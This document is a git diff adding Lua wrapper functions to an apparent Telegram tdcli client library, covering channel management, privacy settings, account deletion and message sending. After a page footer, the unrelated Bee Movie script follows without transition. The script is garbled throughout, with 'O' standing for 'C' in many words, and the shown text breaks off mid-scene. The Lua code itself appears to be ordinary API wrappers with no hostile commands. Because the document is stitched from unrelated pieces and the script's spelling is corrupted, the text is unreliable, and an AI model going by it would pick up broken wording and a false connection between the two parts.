+ channel_id_ = getChatId(channel_id).ID, + about_ = about + }, dl_cb, cmd) +end + +M.changeChannelAbout = changeChannelAbout + +-- Pins a message in a supergroup channel chat. +-- Needs editor privileges in the channel +-- @channel_id Identifier of the channel +-- @message_id Identifier of the new pinned message +-- @disable_notification True, if there should be no notification about the pinned message +local function pinChannelMessage(channel_id, message_id, disable_notification, dl_cb, cmd) + tdcli_function ({ + ID = "PinChannelMessage", + channel_id_ = getChatId(channel_id).ID, + message_id_ = message_id, + disable_notification_ = disable_notification + }, dl_cb, cmd) +end + +M.pinChannelMessage = pinChannelMessage + +-- Removes pinned message in the supergroup channel. +-- Needs editor privileges in the channel +-- @channel_id Identifier of the channel +local function unpinChannelMessage(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "UnpinChannelMessage", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.unpinChannelMessage = unpinChannelMessage + +-- Reports some supergroup channel messages from a user as spam messages +-- @channel_id Channel identifier +-- @user_id User identifier +-- @message_ids Identifiers of messages sent in the supergroup by the user, the list should be non-empty +local function reportChannelSpam(channel_id, user_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ReportChannelSpam", + channel_id_ = getChatId(channel_id).ID, + user_id_ = user_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.reportChannelSpam = reportChannelSpam + +-- Returns information about channel members or kicked from channel users. +-- Can be used only if channel_full->can_get_members == true +-- @channel_id Identifier of the channel +-- @filter Kind of channel users to return, defaults to channelMembersRecent +-- @offset Number of channel users to skip +-- @limit Maximum number of users be returned, can't be greater than 200 +-- filter = Recent|Administrators|Kicked|Bots +local function getChannelMembers(channel_id, offset, filter, limit, dl_cb, cmd) + if not limit or limit > 200 then + limit = 200 + end + + tdcli_function ({ + ID = "GetChannelMembers", + channel_id_ = getChatId(channel_id).ID, + filter_ = { + ID = "ChannelMembers" .. filter + }, + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChannelMembers = getChannelMembers + +-- Deletes channel along with all messages in corresponding chat. +-- Releases channel username and removes all members. +-- Needs creator privileges in the channel. +-- Channels with more than 1000 members can't be deleted +-- @channel_id Identifier of the channel +local function deleteChannel(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChannel", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.deleteChannel = deleteChannel + +-- Returns list of created public channels +local function getCreatedPublicChannels(dl_cb, cmd) + tdcli_function ({ + ID = "GetCreatedPublicChannels" + }, dl_cb, cmd) +end + +M.getCreatedPublicChannels = getCreatedPublicChannels + +-- Closes secret chat +-- @secret_chat_id Secret chat identifier +local function closeSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CloseSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.closeSecretChat = closeSecretChat + +-- Returns user that can be contacted to get support +local function getSupportUser(dl_cb, cmd) + tdcli_function ({ + ID = "GetSupportUser", + }, dl_cb, cmd) +end + +M.getSupportUser = getSupportUser + +-- Returns background wallpapers +local function getWallpapers(dl_cb, cmd) + tdcli_function ({ + ID = "GetWallpapers", + }, dl_cb, cmd) +end + +M.getWallpapers = getWallpapers + +-- Registers current used device for receiving push notifications +-- @device_token Device token +-- device_token = apns|gcm|mpns|simplePush|ubuntuPhone|blackberry +local function registerDevice(device_token, token, device_token_set, dl_cb, cmd) + local dToken = {ID = device_token .. 'DeviceToken', token_ = token} + + if device_token_set then + dToken = {ID = "DeviceTokenSet", token_ = device_token_set} -- tokens:vector<DeviceToken> + end + + tdcli_function ({ + ID = "RegisterDevice", + device_token_ = dToken + }, dl_cb, cmd) +end + +M.registerDevice = registerDevice + +-- Returns list of used device tokens +local function getDeviceTokens(dl_cb, cmd) + tdcli_function ({ + ID = "GetDeviceTokens", + }, dl_cb, cmd) +end + +M.getDeviceTokens = getDeviceTokens + +-- Changes privacy settings +-- @key Privacy key +-- @rules New privacy rules +-- @privacyKeyUserStatus Privacy key for managing visibility of the user status +-- @privacyKeyChatInvite Privacy key for managing ability of invitation of the user to chats +-- @privacyRuleAllowAll Rule to allow all users +-- @privacyRuleAllowContacts Rule to allow all user contacts +-- @privacyRuleAllowUsers Rule to allow specified users +-- @user_ids User identifiers +-- @privacyRuleDisallowAll Rule to disallow all users +-- @privacyRuleDisallowContacts Rule to disallow all user contacts +-- @privacyRuleDisallowUsers Rule to disallow all specified users +-- key = UserStatus|ChatInvite +-- rules = AllowAll|AllowContacts|AllowUsers(user_ids)|DisallowAll|DisallowContacts|DisallowUsers(user_ids) +local function setPrivacy(key, rule, allowed_user_ids, disallowed_user_ids, dl_cb, cmd) + local rules = {[0] = {ID = 'PrivacyRule' .. rule}} + + if allowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + [0] = { + ID = "PrivacyRuleAllowUsers", + user_ids_ = allowed_user_ids -- vector + }, + } + end + if disallowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + [0] = { + ID = "PrivacyRuleDisallowUsers", + user_ids_ = disallowed_user_ids -- vector + }, + } + end + if allowed_user_ids and disallowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + { + ID = "PrivacyRuleAllowUsers", + user_ids_ = allowed_user_ids + }, + [0] = { + ID = "PrivacyRuleDisallowUsers", + user_ids_ = disallowed_user_ids + }, + } + end + tdcli_function ({ + ID = "SetPrivacy", + key_ = { + ID = 'PrivacyKey' .. key + }, + rules_ = { + ID = "PrivacyRules", + rules_ = rules + }, + }, dl_cb, cmd) +end + +M.setPrivacy = setPrivacy + +-- Returns current privacy settings +-- @key Privacy key +-- key = UserStatus|ChatInvite +local function getPrivacy(key, dl_cb, cmd) + tdcli_function ({ + ID = "GetPrivacy", + key_ = { + ID = "PrivacyKey" .. key + }, + }, dl_cb, cmd) +end + +M.getPrivacy = getPrivacy + +-- Returns value of an option by its name. +-- See list of available options on https://core.telegram.org/tdlib/options +-- @name Name of the option +local function getOption(name, dl_cb, cmd) + tdcli_function ({ + ID = "GetOption", + name_ = name + }, dl_cb, cmd) +end + +M.getOption = getOption + +-- Sets value of an option. +-- See list of available options on https://core.telegram.org/tdlib/options. +-- Only writable options can be set +-- @name Name of the option +-- @value New value of the option +local function setOption(name, option, value, dl_cb, cmd) + tdcli_function ({ + ID = "SetOption", + name_ = name, + value_ = { + ID = 'Option' .. option, + value_ = value + }, + }, dl_cb, cmd) +end + +M.setOption = setOption + +-- Changes period of inactivity, after which the account of currently logged in user will be automatically deleted +-- @ttl New account TTL +local function changeAccountTtl(days, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeAccountTtl", + ttl_ = { + ID = "AccountTtl", + days_ = days + }, + }, dl_cb, cmd) +end + +M.changeAccountTtl = changeAccountTtl + +-- Returns period of inactivity, after which the account of currently logged in user will be automatically deleted +local function getAccountTtl(dl_cb, cmd) + tdcli_function ({ + ID = "GetAccountTtl", + }, dl_cb, cmd) +end + +M.getAccountTtl = getAccountTtl + +-- Deletes the account of currently logged in user, deleting from the server all information associated with it. +-- Account's phone number can be used to create new account, but only once in two weeks +-- @reason Optional reason of account deletion +local function deleteAccount(reason, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteAccount", + reason_ = reason + }, dl_cb, cmd) +end + +M.deleteAccount = deleteAccount + +-- Returns current chat report spam state +-- @chat_id Chat identifier +local function getChatReportSpamState(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChatReportSpamState", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.getChatReportSpamState = getChatReportSpamState + +-- Reports chat as a spam chat or as not a spam chat. +-- Can be used only if ChatReportSpamState.can_report_spam is true. +-- After this request ChatReportSpamState.can_report_spam became false forever +-- @chat_id Chat identifier +-- @is_spam_chat If true, chat will be reported as a spam chat, otherwise it will be marked as not a spam chat +local function changeChatReportSpamState(chat_id, is_spam_chat, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatReportSpamState", + chat_id_ = chat_id, + is_spam_chat_ = is_spam_chat + }, dl_cb, cmd) +end + +M.changeChatReportSpamState = changeChatReportSpamState + +-- Bots only. +-- Informs server about number of pending bot updates if they aren't processed for a long time +-- @pending_update_count Number of pending updates +-- @error_message Last error's message +local function setBotUpdatesStatus(pending_update_count, error_message, dl_cb, cmd) + tdcli_function ({ + ID = "SetBotUpdatesStatus", + pending_update_count_ = pending_update_count, + error_message_ = error_message + }, dl_cb, cmd) +end + +M.setBotUpdatesStatus = setBotUpdatesStatus + +-- Returns Ok after specified amount of the time passed +-- @seconds Number of seconds before that function returns +local function setAlarm(seconds, dl_cb, cmd) + tdcli_function ({ + ID = "SetAlarm", + seconds_ = seconds + }, dl_cb, cmd) +end + +M.setAlarm = setAlarm + +-- Text message +-- @text Text to send +-- @disable_notification Pass true, to disable notification about the message, doesn't works in secret chats +-- @from_background Pass true, if the message is sent from background +-- @reply_markup Bots only. Markup for replying to message +-- @disable_web_page_preview Pass true to disable rich preview for link in the message text +-- @clear_draft Pass true if chat draft message should be deleted +-- @entities Bold, Italic, Code, Pre, PreCode and TextUrl entities contained in the text. Non-bot users can't use TextUrl entities. Can't be used with non-null parse_mode +-- @parse_mode Text parse mode, nullable. Can't be used along with enitities +local function sendMessage(chat_id, reply_to_message_id, disable_notification, text, disable_web_page_preview, parse_mode) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = 1, + reply_markup_ = nil, + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, dl_cb, nil) +end + +M.sendMessage = sendMessage + +-- Animation message +-- @animation Animation file to send +-- @thumb Animation thumb, if available +-- @width Width of the animation, may be replaced by the server +-- @height Height of the animation, may be replaced by the server +-- @caption Animation caption, 0-200 characters +local function sendAnimation(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, animation, width, height, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageAnimation", + animation_ = getInputFile(animation), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + width_ = width or '', + height_ = height or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendAnimation = sendAnimation + +-- Audio message +-- @audio Audio file to send +-- @album_cover_thumb Thumb of the album's cover, if available +-- @duration Duration of audio in seconds, may be replaced by the server +-- @title Title of the audio, 0-64 characters, may be replaced by the server +-- @performer Performer of the audio, 0-64 characters, may be replaced by the server +-- @caption Audio caption, 0-200 characters +local function sendAudio(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, audio, duration, title, performer, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageAudio", + audio_ = getInputFile(audio), + --album_cover_thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + duration_ = duration or '', + title_ = title or '', + performer_ = performer or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendAudio = sendAudio + +-- Document message +-- @document Document to send +-- @thumb Document thumb, if available +-- @caption Document caption, 0-200 characters +local function sendDocument(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, document, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageDocument", + document_ = getInputFile(document), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + caption_ = caption + }, + }, dl_cb, cmd) +end + +M.sendDocument = sendDocument + +-- Photo message +-- @photo Photo to send +-- @caption Photo caption, 0-200 characters +local function sendPhoto(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, photo, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessagePhoto", + photo_ = getInputFile(photo), + added_sticker_file_ids_ = {}, + width_ = 0, + height_ = 0, + caption_ = caption + }, + }, dl_cb, cmd) +end + +M.sendPhoto = sendPhoto + +-- Sticker message +-- @sticker Sticker to send +-- @thumb Sticker thumb, if available +local function sendSticker(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageSticker", + sticker_ = getInputFile(sticker), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + }, + }, dl_cb, cmd) +end + +M.sendSticker = sendSticker + +-- Video message +-- @video Video to send +-- @thumb Video thumb, if available +-- @duration Duration of video in seconds +-- @width Video width +-- @height Video height +-- @caption Video caption, 0-200 characters +local function sendVideo(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, video, duration, width, height, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVideo", + video_ = getInputFile(video), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + added_sticker_file_ids_ = {}, + duration_ = duration or '', + width_ = width or '', + height_ = height or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendVideo = sendVideo + +-- Voice message +-- @voice Voice file to send +-- @duration Duration of voice in seconds +-- @waveform Waveform representation of the voice in 5-bit format +-- @caption Voice caption, 0-200 characters +local function sendVoice(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, voice, duration, waveform, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVoice", + voice_ = getInputFile(voice), + duration_ = duration or '', + waveform_ = waveform or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendVoice = sendVoice + +-- Message with location +-- @latitude Latitude of location in degrees as defined by sender +-- @longitude Longitude of location in degrees as defined by sender +local function sendLocation(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, latitude, longitude, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageLocation", + location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + }, + }, dl_cb, cmd) +end + +M.sendLocation = sendLocation + +-- Message with information about venue +-- @venue Venue to send +-- @latitude Latitude of location in degrees as defined by sender +-- @longitude Longitude of location in degrees as defined by sender +-- @title Venue name as defined by sender +-- @address Venue address as defined by sender +-- @provider Provider of venue database as defined by sender. Only "foursquare" need to be supported currently +-- @id Identifier of the venue in provider database as defined by sender +local function sendVenue(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, latitude, longitude, title, address, id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVenue", + venue_ = { + ID = "Venue", + location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + title_ = title, + address_ = address, + provider_ = 'foursquare', + id_ = id + }, + }, + }, dl_cb, cmd) +end + +M.sendVenue = sendVenue + +-- User contact message +-- @contact Contact to send +-- @phone_number User's phone number +-- @first_name User first name, 1-255 characters +-- @last_name User last name +-- @user_id User identifier if known, 0 otherwise +local function sendContact(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, phone_number, first_name, last_name, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageContact", + contact_ = { + ID = "Contact", + phone_number_ = phone_number, + first_name_ = first_name, + last_name_ = last_name, + user_id_ = user_id + }, + }, + }, dl_cb, cmd) +end + +M.sendContact = sendContact + +-- Message with a game +-- @bot_user_id User identifier of a bot owned the game +-- @game_short_name Game short name +local function sendGame(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, bot_user_id, game_short_name, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageGame", + bot_user_id_ = bot_user_id, + game_short_name_ = game_short_name + }, + }, dl_cb, cmd) +end + +M.sendGame = sendGame + +-- Forwarded message +-- @from_chat_id Chat identifier of the message to forward +-- @message_id Identifier of the message to forward +local function sendForwarded(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, from_chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageForwarded", + from_chat_id_ = from_chat_id, + message_id_ = message_id + }, + }, dl_cb, cmd) +end + +M.sendForwarded = sendForwarded + +return M cli/tg/tgcli (Binary file not shown.) 0 comments on commit 3233fdf Comment on 3233fdf Leave a comment Comment Desktop version

According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? 